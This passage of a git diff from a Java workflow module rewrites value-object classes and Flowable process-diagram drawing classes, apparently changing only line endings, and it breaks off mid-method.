private WfDefinitionConfigVo wfDefinitionConfigVo; + + /** + * 节点配置 + */ + private WfNodeConfigVo wfNodeConfigVo; +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/TestLeaveVo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/TestLeaveVo.java index 47886d7..a6e1dac 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/TestLeaveVo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/TestLeaveVo.java @@ -1,70 +1,70 @@ -package org.dromara.workflow.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.workflow.domain.TestLeave; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - - -/** - * 请假视图对象 test_leave - * - * @author may - * @date 2023-07-21 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TestLeave.class) -public class TestLeaveVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 主键 - */ - @ExcelProperty(value = "主键") - private Long id; - - /** - * 请假类型 - */ - @ExcelProperty(value = "请假类型") - private String leaveType; - - /** - * 开始时间 - */ - @ExcelProperty(value = "开始时间") - private Date startDate; - - /** - * 结束时间 - */ - @ExcelProperty(value = "结束时间") - private Date endDate; - - /** - * 请假天数 - */ - @ExcelProperty(value = "请假天数") - private Integer leaveDays; - - /** - * 备注 - */ - @ExcelProperty(value = "请假原因") - private String remark; - - /** - * 状态 - */ - @ExcelProperty(value = "状态") - private String status; - -} +package org.dromara.workflow.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.workflow.domain.TestLeave; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + +/** + * 请假视图对象 test_leave + * + * @author may + * @date 2023-07-21 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TestLeave.class) +public class TestLeaveVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 主键 + */ + @ExcelProperty(value = "主键") + private Long id; + + /** + * 请假类型 + */ + @ExcelProperty(value = "请假类型") + private String leaveType; + + /** + * 开始时间 + */ + @ExcelProperty(value = "开始时间") + private Date startDate; + + /** + * 结束时间 + */ + @ExcelProperty(value = "结束时间") + private Date endDate; + + /** + * 请假天数 + */ + @ExcelProperty(value = "请假天数") + private Integer leaveDays; + + /** + * 备注 + */ + @ExcelProperty(value = "请假原因") + private String remark; + + /** + * 状态 + */ + @ExcelProperty(value = "状态") + private String status; + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/VariableVo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/VariableVo.java index 6a26c82..61ddebc 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/VariableVo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/VariableVo.java @@ -1,28 +1,28 @@ -package org.dromara.workflow.domain.vo; - -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; - -/** - * 流程变量 - * - * @author may - */ -@Data -public class VariableVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 变量key - */ - private String key; - - /** - * 变量值 - */ - private String value; -} +package org.dromara.workflow.domain.vo; + +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; + +/** + * 流程变量 + * + * @author may + */ +@Data +public class VariableVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 变量key + */ + private String key; + + /** + * 变量值 + */ + private String value; +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/WfCategoryVo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/WfCategoryVo.java index 362f646..3ca08e9 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/WfCategoryVo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/WfCategoryVo.java @@ -1,58 +1,58 @@ -package org.dromara.workflow.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.workflow.domain.WfCategory; - -import java.io.Serial; -import java.io.Serializable; - - -/** - * 流程分类视图对象 wf_category - * - * @author may - * @date 2023-06-27 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = WfCategory.class) -public class WfCategoryVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 主键 - */ - @ExcelProperty(value = "主键") - private Long id; - - /** - * 分类名称 - */ - @ExcelProperty(value = "分类名称") - private String categoryName; - - /** - * 分类编码 - */ - @ExcelProperty(value = "分类编码") - private String categoryCode; - - /** - * 父级id - */ - @ExcelProperty(value = "父级id") - private Long parentId; - - /** - * 排序 - */ - @ExcelProperty(value = "排序") - private Long sortNum; - - -} +package org.dromara.workflow.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.workflow.domain.WfCategory; + +import java.io.Serial; +import java.io.Serializable; + + +/** + * 流程分类视图对象 wf_category + * + * @author may + * @date 2023-06-27 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = WfCategory.class) +public class WfCategoryVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 主键 + */ + @ExcelProperty(value = "主键") + private Long id; + + /** + * 分类名称 + */ + @ExcelProperty(value = "分类名称") + private String categoryName; + + /** + * 分类编码 + */ + @ExcelProperty(value = "分类编码") + private String categoryCode; + + /** + * 父级id + */ + @ExcelProperty(value = "父级id") + private Long parentId; + + /** + * 排序 + */ + @ExcelProperty(value = "排序") + private Long sortNum; + + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/WfCopy.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/WfCopy.java index 88a5a21..b875d54 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/WfCopy.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/WfCopy.java @@ -1,29 +1,29 @@ -package org.dromara.workflow.domain.vo; - -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; - -/** - * 抄送 - * - * @author may - */ -@Data -public class WfCopy implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 用户id - */ - private Long userId; - - /** - * 用户名称 - */ - private String userName; - -} +package org.dromara.workflow.domain.vo; + +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; + +/** + * 抄送 + * + * @author may + */ +@Data +public class WfCopy implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 用户id + */ + private Long userId; + + /** + * 用户名称 + */ + private String userName; + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/WfDefinitionConfigVo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/WfDefinitionConfigVo.java index 9c890bd..349404c 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/WfDefinitionConfigVo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/WfDefinitionConfigVo.java @@ -1,70 +1,70 @@ -package org.dromara.workflow.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.workflow.domain.WfDefinitionConfig; - -import java.io.Serial; -import java.io.Serializable; - - -/** - * 流程定义配置视图对象 wf_definition_config - * - * @author may - * @date 2024-03-18 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = WfDefinitionConfig.class) -public class WfDefinitionConfigVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 主键 - */ - @ExcelProperty(value = "主键") - private Long id; - - /** - * 表名 - */ - @ExcelProperty(value = "表名") - private String tableName; - - /** - * 流程定义ID - */ - @ExcelProperty(value = "流程定义ID") - private String definitionId; - - /** - * 流程KEY - */ - @ExcelProperty(value = "流程KEY") - private String processKey; - - - /** - * 流程版本 - */ - @ExcelProperty(value = "流程版本") - private Integer version; - - /** - * 备注 - */ - @ExcelProperty(value = "备注") - private String remark; - - /** - * 表单管理 - */ - private WfFormManageVo wfFormManageVo; - - -} +package org.dromara.workflow.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.workflow.domain.WfDefinitionConfig; + +import java.io.Serial; +import java.io.Serializable; + + +/** + * 流程定义配置视图对象 wf_definition_config + * + * @author may + * @date 2024-03-18 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = WfDefinitionConfig.class) +public class WfDefinitionConfigVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 主键 + */ + @ExcelProperty(value = "主键") + private Long id; + + /** + * 表名 + */ + @ExcelProperty(value = "表名") + private String tableName; + + /** + * 流程定义ID + */ + @ExcelProperty(value = "流程定义ID") + private String definitionId; + + /** + * 流程KEY + */ + @ExcelProperty(value = "流程KEY") + private String processKey; + + + /** + * 流程版本 + */ + @ExcelProperty(value = "流程版本") + private Integer version; + + /** + * 备注 + */ + @ExcelProperty(value = "备注") + private String remark; + + /** + * 表单管理 + */ + private WfFormManageVo wfFormManageVo; + + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/WfFormManageVo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/WfFormManageVo.java index 63f76eb..6a27f40 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/WfFormManageVo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/WfFormManageVo.java @@ -1,63 +1,63 @@ -package org.dromara.workflow.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.workflow.domain.WfFormManage; - -import java.io.Serial; -import java.io.Serializable; - - -/** - * 表单管理视图对象 wf_form_manage - * - * @author may - * @date 2024-03-29 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = WfFormManage.class) -public class WfFormManageVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 主键 - */ - @ExcelProperty(value = "主键") - private Long id; - - /** - * 表单名称 - */ - @ExcelProperty(value = "表单名称") - private String formName; - - /** - * 表单类型 - */ - @ExcelProperty(value = "表单类型") - private String formType; - - /** - * 表单类型名称 - */ - private String formTypeName; - - /** - * 路由地址/表单ID - */ - @ExcelProperty(value = "路由地址/表单ID") - private String router; - - /** - * 备注 - */ - @ExcelProperty(value = "备注") - private String remark; - - -} +package org.dromara.workflow.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.workflow.domain.WfFormManage; + +import java.io.Serial; +import java.io.Serializable; + + +/** + * 表单管理视图对象 wf_form_manage + * + * @author may + * @date 2024-03-29 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = WfFormManage.class) +public class WfFormManageVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 主键 + */ + @ExcelProperty(value = "主键") + private Long id; + + /** + * 表单名称 + */ + @ExcelProperty(value = "表单名称") + private String formName; + + /** + * 表单类型 + */ + @ExcelProperty(value = "表单类型") + private String formType; + + /** + * 表单类型名称 + */ + private String formTypeName; + + /** + * 路由地址/表单ID + */ + @ExcelProperty(value = "路由地址/表单ID") + private String router; + + /** + * 备注 + */ + @ExcelProperty(value = "备注") + private String remark; + + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/WfNodeConfigVo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/WfNodeConfigVo.java index 9639974..531f5d5 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/WfNodeConfigVo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/WfNodeConfigVo.java @@ -1,75 +1,75 @@ -package org.dromara.workflow.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.workflow.domain.WfNodeConfig; - -import java.io.Serial; -import java.io.Serializable; - - -/** - * 节点配置视图对象 wf_node_config - * - * @author may - * @date 2024-03-30 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = WfNodeConfig.class) -public class WfNodeConfigVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 主键 - */ - @ExcelProperty(value = "主键") - private Long id; - - /** - * 表单id - */ - @ExcelProperty(value = "表单id") - private Long formId; - - /** - * 表单类型 - */ - @ExcelProperty(value = "表单类型") - private String formType; - - /** - * 节点名称 - */ - @ExcelProperty(value = "节点名称") - private String nodeName; - - /** - * 节点id - */ - @ExcelProperty(value = "节点id") - private String nodeId; - - /** - * 流程定义id - */ - @ExcelProperty(value = "流程定义id") - private String definitionId; - - /** - * 是否为申请人节点 (0是 1否) - */ - @ExcelProperty(value = "是否为申请人节点 (0是 1否)") - private String applyUserTask; - - /** - * 表单管理 - */ - private WfFormManageVo wfFormManageVo; - - -} +package org.dromara.workflow.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.workflow.domain.WfNodeConfig; + +import java.io.Serial; +import java.io.Serializable; + + +/** + * 节点配置视图对象 wf_node_config + * + * @author may + * @date 2024-03-30 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = WfNodeConfig.class) +public class WfNodeConfigVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 主键 + */ + @ExcelProperty(value = "主键") + private Long id; + + /** + * 表单id + */ + @ExcelProperty(value = "表单id") + private Long formId; + + /** + * 表单类型 + */ + @ExcelProperty(value = "表单类型") + private String formType; + + /** + * 节点名称 + */ + @ExcelProperty(value = "节点名称") + private String nodeName; + + /** + * 节点id + */ + @ExcelProperty(value = "节点id") + private String nodeId; + + /** + * 流程定义id + */ + @ExcelProperty(value = "流程定义id") + private String definitionId; + + /** + * 是否为申请人节点 (0是 1否) + */ + @ExcelProperty(value = "是否为申请人节点 (0是 1否)") + private String applyUserTask; + + /** + * 表单管理 + */ + private WfFormManageVo wfFormManageVo; + + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/CustomDefaultProcessDiagramCanvas.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/CustomDefaultProcessDiagramCanvas.java index 0e5eb05..4219b92 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/CustomDefaultProcessDiagramCanvas.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/CustomDefaultProcessDiagramCanvas.java @@ -1,110 +1,110 @@ -package org.dromara.workflow.flowable; - -import org.flowable.bpmn.model.AssociationDirection; -import org.flowable.image.impl.DefaultProcessDiagramCanvas; - -import java.awt.*; -import java.awt.geom.Line2D; -import java.awt.geom.RoundRectangle2D; - -public class CustomDefaultProcessDiagramCanvas extends DefaultProcessDiagramCanvas { - //设置高亮线的颜色 这里我设置成绿色 - protected static Color HIGHLIGHT_SEQUENCEFLOW_COLOR = Color.GREEN; - - public CustomDefaultProcessDiagramCanvas(int width, int height, int minX, int minY, String imageType, String activityFontName, String labelFontName, String annotationFontName, ClassLoader customClassLoader) { - super(width, height, minX, minY, imageType, activityFontName, labelFontName, annotationFontName, customClassLoader); - } - - /** - * 画线颜色设置 - */ - @Override - public void drawConnection(int[] xPoints, int[] yPoints, boolean conditional, boolean isDefault, String connectionType, - AssociationDirection associationDirection, boolean highLighted, double scaleFactor) { - - Paint originalPaint = g.getPaint(); - Stroke originalStroke = g.getStroke(); - - g.setPaint(CONNECTION_COLOR); - if ("association".equals(connectionType)) { - g.setStroke(ASSOCIATION_STROKE); - } else if (highLighted) { - //设置线的颜色 - g.setPaint(HIGHLIGHT_SEQUENCEFLOW_COLOR); - g.setStroke(HIGHLIGHT_FLOW_STROKE); - } - - for (int i = 1; i < xPoints.length; i++) { - Integer sourceX = xPoints[i - 1]; - Integer sourceY = yPoints[i - 1]; - Integer targetX = xPoints[i]; - Integer targetY = yPoints[i]; - Line2D.Double line = new Line2D.Double(sourceX, sourceY, targetX, targetY); - g.draw(line); - } - - if (isDefault) { - Line2D.Double line = new Line2D.Double(xPoints[0], yPoints[0], xPoints[1], yPoints[1]); - drawDefaultSequenceFlowIndicator(line, scaleFactor); - } - - if (conditional) { - Line2D.Double line = new Line2D.Double(xPoints[0], yPoints[0], xPoints[1], yPoints[1]); - drawConditionalSequenceFlowIndicator(line, scaleFactor); - } - - if (associationDirection == AssociationDirection.ONE || associationDirection == AssociationDirection.BOTH) { - Line2D.Double line = new Line2D.Double(xPoints[xPoints.length - 2], yPoints[xPoints.length - 2], xPoints[xPoints.length - 1], yPoints[xPoints.length - 1]); - drawArrowHead(line, scaleFactor); - } - if (associationDirection == AssociationDirection.BOTH) { - Line2D.Double line = new Line2D.Double(xPoints[1], yPoints[1], xPoints[0], yPoints[0]); - drawArrowHead(line, scaleFactor); - } - g.setPaint(originalPaint); - g.setStroke(originalStroke); - } - - /** - * 高亮节点设置 - */ - @Override - public void drawHighLight(int x, int y, int width, int height) { - Paint originalPaint = g.getPaint(); - Stroke originalStroke = g.getStroke(); - //设置高亮节点的颜色 - g.setPaint(HIGHLIGHT_COLOR); - g.setStroke(THICK_TASK_BORDER_STROKE); - - RoundRectangle2D rect = new RoundRectangle2D.Double(x, y, width, height, 20, 20); - g.draw(rect); - - g.setPaint(originalPaint); - g.setStroke(originalStroke); - } - - /** - * @description: 高亮节点红色 - * @param: x - * @param: y - * @param: width - * @param: height - * @return: void - * @author: gssong - * @date: 2022/4/12 - */ - public void drawHighLightRed(int x, int y, int width, int height) { - Paint originalPaint = g.getPaint(); - Stroke originalStroke = g.getStroke(); - //设置高亮节点的颜色 - g.setPaint(Color.green); - g.setStroke(THICK_TASK_BORDER_STROKE); - - RoundRectangle2D rect = new RoundRectangle2D.Double(x, y, width, height, 20, 20); - g.draw(rect); - - g.setPaint(originalPaint); - g.setStroke(originalStroke); - } - -} +package org.dromara.workflow.flowable; + +import org.flowable.bpmn.model.AssociationDirection; +import org.flowable.image.impl.DefaultProcessDiagramCanvas; + +import java.awt.*; +import java.awt.geom.Line2D; +import java.awt.geom.RoundRectangle2D; + +public class CustomDefaultProcessDiagramCanvas extends DefaultProcessDiagramCanvas { + //设置高亮线的颜色 这里我设置成绿色 + protected static Color HIGHLIGHT_SEQUENCEFLOW_COLOR = Color.GREEN; + + public CustomDefaultProcessDiagramCanvas(int width, int height, int minX, int minY, String imageType, String activityFontName, String labelFontName, String annotationFontName, ClassLoader customClassLoader) { + super(width, height, minX, minY, imageType, activityFontName, labelFontName, annotationFontName, customClassLoader); + } + + /** + * 画线颜色设置 + */ + @Override + public void drawConnection(int[] xPoints, int[] yPoints, boolean conditional, boolean isDefault, String connectionType, + AssociationDirection associationDirection, boolean highLighted, double scaleFactor) { + + Paint originalPaint = g.getPaint(); + Stroke originalStroke = g.getStroke(); + + g.setPaint(CONNECTION_COLOR); + if ("association".equals(connectionType)) { + g.setStroke(ASSOCIATION_STROKE); + } else if (highLighted) { + //设置线的颜色 + g.setPaint(HIGHLIGHT_SEQUENCEFLOW_COLOR); + g.setStroke(HIGHLIGHT_FLOW_STROKE); + } + + for (int i = 1; i < xPoints.length; i++) { + Integer sourceX = xPoints[i - 1]; + Integer sourceY = yPoints[i - 1]; + Integer targetX = xPoints[i]; + Integer targetY = yPoints[i]; + Line2D.Double line = new Line2D.Double(sourceX, sourceY, targetX, targetY); + g.draw(line); + } + + if (isDefault) { + Line2D.Double line = new Line2D.Double(xPoints[0], yPoints[0], xPoints[1], yPoints[1]); + drawDefaultSequenceFlowIndicator(line, scaleFactor); + } + + if (conditional) { + Line2D.Double line = new Line2D.Double(xPoints[0], yPoints[0], xPoints[1], yPoints[1]); + drawConditionalSequenceFlowIndicator(line, scaleFactor); + } + + if (associationDirection == AssociationDirection.ONE || associationDirection == AssociationDirection.BOTH) { + Line2D.Double line = new Line2D.Double(xPoints[xPoints.length - 2], yPoints[xPoints.length - 2], xPoints[xPoints.length - 1], yPoints[xPoints.length - 1]); + drawArrowHead(line, scaleFactor); + } + if (associationDirection == AssociationDirection.BOTH) { + Line2D.Double line = new Line2D.Double(xPoints[1], yPoints[1], xPoints[0], yPoints[0]); + drawArrowHead(line, scaleFactor); + } + g.setPaint(originalPaint); + g.setStroke(originalStroke); + } + + /** + * 高亮节点设置 + */ + @Override + public void drawHighLight(int x, int y, int width, int height) { + Paint originalPaint = g.getPaint(); + Stroke originalStroke = g.getStroke(); + //设置高亮节点的颜色 + g.setPaint(HIGHLIGHT_COLOR); + g.setStroke(THICK_TASK_BORDER_STROKE); + + RoundRectangle2D rect = new RoundRectangle2D.Double(x, y, width, height, 20, 20); + g.draw(rect); + + g.setPaint(originalPaint); + g.setStroke(originalStroke); + } + + /** + * @description: 高亮节点红色 + * @param: x + * @param: y + * @param: width + * @param: height + * @return: void + * @author: gssong + * @date: 2022/4/12 + */ + public void drawHighLightRed(int x, int y, int width, int height) { + Paint originalPaint = g.getPaint(); + Stroke originalStroke = g.getStroke(); + //设置高亮节点的颜色 + g.setPaint(Color.green); + g.setStroke(THICK_TASK_BORDER_STROKE); + + RoundRectangle2D rect = new RoundRectangle2D.Double(x, y, width, height, 20, 20); + g.draw(rect); + + g.setPaint(originalPaint); + g.setStroke(originalStroke); + } + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/CustomDefaultProcessDiagramGenerator.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/CustomDefaultProcessDiagramGenerator.java index e4793a2..9555951 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/CustomDefaultProcessDiagramGenerator.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/CustomDefaultProcessDiagramGenerator.java @@ -1,1120 +1,1120 @@ -/* Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package org.dromara.workflow.flowable; - -import org.flowable.bpmn.model.Event; -import org.flowable.bpmn.model.Process; -import org.flowable.bpmn.model.*; -import org.flowable.image.ProcessDiagramGenerator; - -import java.awt.*; -import java.awt.image.BufferedImage; -import java.io.InputStream; -import java.util.List; -import java.util.*; - -/** - * Class to generate an image based the diagram interchange information in a BPMN 2.0 process. - * - * @author Joram Barrez - * @author Tijs Rademakers - * @author Zheng Ji - */ -public class CustomDefaultProcessDiagramGenerator implements ProcessDiagramGenerator { - - protected Map, ActivityDrawInstruction> activityDrawInstructions = new HashMap<>(); - protected Map, ArtifactDrawInstruction> artifactDrawInstructions = new HashMap<>(); - - public CustomDefaultProcessDiagramGenerator() { - this(1.0); - } - - // The instructions on how to draw a certain construct is - // created statically and stored in a map for performance. - public CustomDefaultProcessDiagramGenerator(final double scaleFactor) { - // start event - activityDrawInstructions.put(StartEvent.class, new ActivityDrawInstruction() { - - @Override - public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); - StartEvent startEvent = (StartEvent) flowNode; - if (startEvent.getEventDefinitions() != null && !startEvent.getEventDefinitions().isEmpty()) { - EventDefinition eventDefinition = startEvent.getEventDefinitions().get(0); - if (eventDefinition instanceof TimerEventDefinition) { - processDiagramCanvas.drawTimerStartEvent(graphicInfo, scaleFactor); - } else if (eventDefinition instanceof ErrorEventDefinition) { - processDiagramCanvas.drawErrorStartEvent(graphicInfo, scaleFactor); - } else if (eventDefinition instanceof EscalationEventDefinition) { - processDiagramCanvas.drawEscalationStartEvent(graphicInfo, scaleFactor); - } else if (eventDefinition instanceof ConditionalEventDefinition) { - processDiagramCanvas.drawConditionalStartEvent(graphicInfo, scaleFactor); - } else if (eventDefinition instanceof SignalEventDefinition) { - processDiagramCanvas.drawSignalStartEvent(graphicInfo, scaleFactor); - } else if (eventDefinition instanceof MessageEventDefinition) { - processDiagramCanvas.drawMessageStartEvent(graphicInfo, scaleFactor); - } else { - processDiagramCanvas.drawNoneStartEvent(graphicInfo); - } - } else { - List eventTypeElements = startEvent.getExtensionElements().get("eventType"); - if (eventTypeElements != null && eventTypeElements.size() > 0) { - processDiagramCanvas.drawEventRegistryStartEvent(graphicInfo, scaleFactor); - - } else { - processDiagramCanvas.drawNoneStartEvent(graphicInfo); - } - } - } - }); - - // signal catch - activityDrawInstructions.put(IntermediateCatchEvent.class, new ActivityDrawInstruction() { - - @Override - public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); - IntermediateCatchEvent intermediateCatchEvent = (IntermediateCatchEvent) flowNode; - if (intermediateCatchEvent.getEventDefinitions() != null && !intermediateCatchEvent.getEventDefinitions().isEmpty()) { - - if (intermediateCatchEvent.getEventDefinitions().get(0) instanceof SignalEventDefinition) { - processDiagramCanvas.drawCatchingSignalEvent(flowNode.getName(), graphicInfo, true, scaleFactor); - } else if (intermediateCatchEvent.getEventDefinitions().get(0) instanceof TimerEventDefinition) { - processDiagramCanvas.drawCatchingTimerEvent(flowNode.getName(), graphicInfo, true, scaleFactor); - } else if (intermediateCatchEvent.getEventDefinitions().get(0) instanceof MessageEventDefinition) { - processDiagramCanvas.drawCatchingMessageEvent(flowNode.getName(), graphicInfo, true, scaleFactor); - } else if (intermediateCatchEvent.getEventDefinitions().get(0) instanceof ConditionalEventDefinition) { - processDiagramCanvas.drawCatchingConditionalEvent(flowNode.getName(), graphicInfo, true, scaleFactor); - } - } - } - }); - - // signal throw - activityDrawInstructions.put(ThrowEvent.class, new ActivityDrawInstruction() { - - @Override - public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); - ThrowEvent throwEvent = (ThrowEvent) flowNode; - if (throwEvent.getEventDefinitions() != null && !throwEvent.getEventDefinitions().isEmpty()) { - if (throwEvent.getEventDefinitions().get(0) instanceof SignalEventDefinition) { - processDiagramCanvas.drawThrowingSignalEvent(graphicInfo, scaleFactor); - } else if (throwEvent.getEventDefinitions().get(0) instanceof EscalationEventDefinition) { - processDiagramCanvas.drawThrowingEscalationEvent(graphicInfo, scaleFactor); - } else if (throwEvent.getEventDefinitions().get(0) instanceof CompensateEventDefinition) { - processDiagramCanvas.drawThrowingCompensateEvent(graphicInfo, scaleFactor); - } else { - processDiagramCanvas.drawThrowingNoneEvent(graphicInfo, scaleFactor); - } - } else { - processDiagramCanvas.drawThrowingNoneEvent(graphicInfo, scaleFactor); - } - } - }); - - // end event - activityDrawInstructions.put(EndEvent.class, new ActivityDrawInstruction() { - - @Override - public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); - EndEvent endEvent = (EndEvent) flowNode; - if (endEvent.getEventDefinitions() != null && !endEvent.getEventDefinitions().isEmpty()) { - if (endEvent.getEventDefinitions().get(0) instanceof ErrorEventDefinition) { - processDiagramCanvas.drawErrorEndEvent(flowNode.getName(), graphicInfo, scaleFactor); - } else if (endEvent.getEventDefinitions().get(0) instanceof EscalationEventDefinition) { - processDiagramCanvas.drawEscalationEndEvent(flowNode.getName(), graphicInfo, scaleFactor); - } else { - processDiagramCanvas.drawNoneEndEvent(graphicInfo, scaleFactor); - } - } else { - processDiagramCanvas.drawNoneEndEvent(graphicInfo, scaleFactor); - } - } - }); - - // task - activityDrawInstructions.put(Task.class, new ActivityDrawInstruction() { - - @Override - public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, 